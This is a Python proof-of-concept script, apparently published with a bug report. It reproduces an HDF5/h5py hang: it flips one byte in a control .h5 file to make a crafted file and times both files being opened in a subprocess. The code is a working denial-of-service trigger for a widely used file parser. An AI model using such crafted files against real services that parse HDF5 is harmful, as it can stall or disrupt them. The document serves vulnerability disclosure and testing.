hdf5-vlen-attr-global-heap-hang-poc / reproduce_hdf5_vlen_attr_global_heap_hang.py
hacnho's picture
Add HDF5 vlen attribute global heap hang PoC
67eace6 verified
Raw
History Blame Contribute Delete
2.98 kB
#!/usr/bin/env python3
from __future__ import annotations
import hashlib
import subprocess
import sys
from pathlib import Path
import h5py
HERE = Path(__file__).resolve().parent
CONTROL = HERE / "control_scaleoffset_int.h5"
MALICIOUS = HERE / "hdf5_vlen_attr_global_heap_single_byte_hang.h5"
MUTATION_OFFSET = 0x818
MUTATION_FROM = 0x1D
MUTATION_TO = 0x93
WORKER = r"""
import h5py
import sys
print(f"h5py={h5py.__version__} hdf5={h5py.version.hdf5_version}", flush=True)
with h5py.File(sys.argv[1], "r") as f:
print("opened", flush=True)
print(list(f.attrs.items()), flush=True)
print("done", flush=True)
"""
def sha256(path: Path) -> str:
return hashlib.sha256(path.read_bytes()).hexdigest()
def build_malicious() -> None:
data = bytearray(CONTROL.read_bytes())
if data[MUTATION_OFFSET] != MUTATION_FROM:
raise RuntimeError(
f"unexpected control byte at 0x{MUTATION_OFFSET:x}: "
f"0x{data[MUTATION_OFFSET]:02x}"
)
data[MUTATION_OFFSET] = MUTATION_TO
MALICIOUS.write_bytes(data)
def run_case(label: str, path: Path, timeout: int = 8) -> dict:
try:
cp = subprocess.run(
[sys.executable, "-c", WORKER, str(path)],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
timeout=timeout,
check=False,
)
return {
"label": label,
"returncode": cp.returncode,
"stdout": cp.stdout,
"stderr": cp.stderr,
}
except subprocess.TimeoutExpired as exc:
return {
"label": label,
"returncode": f"timeout_after_{timeout}s",
"stdout": exc.stdout.decode() if isinstance(exc.stdout, bytes) else (exc.stdout or ""),
"stderr": exc.stderr.decode() if isinstance(exc.stderr, bytes) else (exc.stderr or ""),
}
def main() -> int:
if not CONTROL.exists():
raise FileNotFoundError(CONTROL)
build_malicious()
print(f"runtime_h5py={h5py.__version__}")
print(f"runtime_hdf5={h5py.version.hdf5_version}")
print(f"control={CONTROL} size={CONTROL.stat().st_size} sha256={sha256(CONTROL)}")
print(f"malicious={MALICIOUS} size={MALICIOUS.stat().st_size} sha256={sha256(MALICIOUS)}")
print(
"mutation="
f"offset 0x{MUTATION_OFFSET:x}: 0x{MUTATION_FROM:02x} -> 0x{MUTATION_TO:02x}"
)
for label, path in [("control", CONTROL), ("malicious", MALICIOUS)]:
result = run_case(label, path)
print(f"\n--- {label} ---")
print(f"returncode={result['returncode']}")
if result["stdout"]:
print("stdout:")
print(result["stdout"], end="" if result["stdout"].endswith("\n") else "\n")
if result["stderr"]:
print("stderr:")
print(result["stderr"], end="" if result["stderr"].endswith("\n") else "\n")
return 0
if __name__ == "__main__":
raise SystemExit(main())